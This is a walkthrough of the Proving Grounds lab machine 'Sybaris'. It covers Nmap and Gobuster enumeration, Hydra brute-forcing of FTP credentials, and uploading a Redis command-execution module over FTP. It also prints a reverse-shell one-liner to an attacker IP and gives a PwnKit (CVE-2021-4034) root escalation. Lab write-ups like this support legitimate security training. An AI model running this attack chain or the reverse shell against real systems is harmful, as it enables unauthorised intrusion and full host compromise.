Nmap

PORT   STATE  SERVICE  VERSION
20/tcp closed ftp-data
21/tcp open   ftp      vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 0        0               6 Apr 01  2020 pub [NSE: writeable]
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.45.229
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open   ssh      OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 21:94:de:d3:69:64:a8:4d:a8:f0:b5:0a:ea:bd:02:ad (RSA)
|   256 67:42:45:19:8b:f5:f9:a5:a4:cf:fb:87:48:a2:66:d0 (ECDSA)
|_  256 f3:e2:29:a3:41:1e:76:1e:b1:b7:46:dc:0b:b9:91:77 (ED25519)
53/tcp closed domain
80/tcp open   http     Apache httpd 2.4.6 ((CentOS) PHP/7.3.22)
| http-robots.txt: 11 disallowed entries 
| /config/ /system/ /themes/ /vendor/ /cache/ 
| /changelog.txt /composer.json /composer.lock /composer.phar /search/ 
|_/admin/
|_http-server-header: Apache/2.4.6 (CentOS) PHP/7.3.22
| http-methods: 
|_  Supported Methods: GET POST
|_http-title: Sybaris - Just another HTMLy blog
|_http-favicon: Unknown favicon MD5: A4DA8778FE902EB34FD9A5D4C0A832E1
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-generator: HTMLy v2.7.5
PORT      STATE  SERVICE
20/tcp    closed ftp-data
21/tcp    open   ftp
22/tcp    open   ssh
53/tcp    closed domain
80/tcp    open   http
6379/tcp  open   redis

Enumeration

Gobuster:

Index                (Status: 200) [Size: 7870]
LICENSE.txt          (Status: 200) [Size: 18092]
admin                (Status: 302) [Size: 0] [--> /login]
cache                (Status: 301) [Size: 236] [--> http://192.168.246.93/cache/]
cgi-bin/             (Status: 403) [Size: 210]
cgi-bin/.html        (Status: 403) [Size: 215]
config               (Status: 403) [Size: 208]
content              (Status: 301) [Size: 238] [--> http://192.168.246.93/content/]
favicon.ico          (Status: 200) [Size: 1150]
front                (Status: 301) [Size: 0] [--> /]
humans.txt           (Status: 200) [Size: 1157]
humans.txt           (Status: 200) [Size: 1157]
index                (Status: 200) [Size: 7870]
lang                 (Status: 301) [Size: 235] [--> http://192.168.246.93/lang/]
login                (Status: 200) [Size: 3046]
logout               (Status: 302) [Size: 0] [--> /login]
robots.txt           (Status: 200) [Size: 1154]
robots.txt           (Status: 200) [Size: 1154]
sitemap.xml          (Status: 200) [Size: 505]
system               (Status: 301) [Size: 237] [--> http://192.168.246.93/system/]
themes               (Status: 301) [Size: 237] [--> http://192.168.246.93/themes/]
upload.php           (Status: 302) [Size: 0] [--> /login]

Login form seems to be a dead end.

FTP:

┌──(kali㉿kali)-[~/ProvingGrounds/Sybaris]
└─$ hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt 192.168.246.93 ftp
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-08-17 23:33:34
[DATA] max 16 tasks per 1 server, overall 16 tasks, 66 login tries, ~5 tries per task
[DATA] attacking ftp://192.168.246.93:21/
[21][ftp] host: 192.168.246.93   login: ftp   password: ftp
[21][ftp] host: 192.168.246.93   login: anonymous   password: anonymous
[21][ftp] host: 192.168.246.93   login: ftp   password: b1uRR3
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-08-17 23:33:37

Nothing in the share - maybe we can upload something later, though I tried with no success.

Port 6379:

┌──(kali㉿kali)-[~/ProvingGrounds/Sybaris]
└─$ nmap -p 6379 -sC -sV -o 6379.txt 192.168.246.93                      
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-17 23:35 +0000
Nmap scan report for 192.168.246.93
Host is up (0.059s latency).

PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 5.0.9

There is a way to compile a module that will let us run system commands with Redis

https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
https://hacktricks.wiki/en/network-services-pentesting/6379-pentesting-redis.html?highlight=redis#load-redis-module

Exploitation

┌──(kali㉿kali)-[~/ProvingGrounds/Sybaris]
└─$ ftp 192.168.246.93
Connected to 192.168.246.93.
220 (vsFTPd 3.0.2)
Name (192.168.246.93:kali): ftp
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd pub
250 Directory successfully changed.
ftp> put RedisModules-ExecuteCommand/module.so 
local: RedisModules-ExecuteCommand/module.so remote: RedisModules-ExecuteCommand/module.so
229 Entering Extended Passive Mode (|||10097|).
553 Could not create file.
ftp> put RedisModules-ExecuteCommand/module.so module.so
local: RedisModules-ExecuteCommand/module.so remote: module.so
229 Entering Extended Passive Mode (|||10098|).
150 Ok to send data.
100% |*******************************************************| 48000      697.85 KiB/s    00:00 ETA
226 Transfer complete.
48000 bytes sent in 00:00 (165.83 KiB/s)

NOTE: Run put RedisModules-ExecuteCommand/module.so module.so to upload it directly to your current working directory.

We then can use redis-cli to interact with the module (this requires knowing the path where we uploaded the file - in this case it is at the common location /var/ftp/)

┌──(kali㉿kali)-[~/ProvingGrounds/Sybaris]
└─$ redis-cli -h 192.168.246.93
192.168.246.93:6379> MODULE LOAD /var/ftp/pub/module.so
OK
192.168.246.93:6379> system.exec "sh -i >& /dev/tcp/192.168.45.229/6379 0>&1"

We set up a listener and catch the reverse shell
Grabbed local.txt from pablo’s home directory

Privilege Escalation

Ran linpeas, discovered sudo could be vulnerable to [CVE-2021-4034](https://github.com/joeammond/CVE-2021-4034)

Simple as uploading the script and running it - Root
Grabbed proof.txt and done.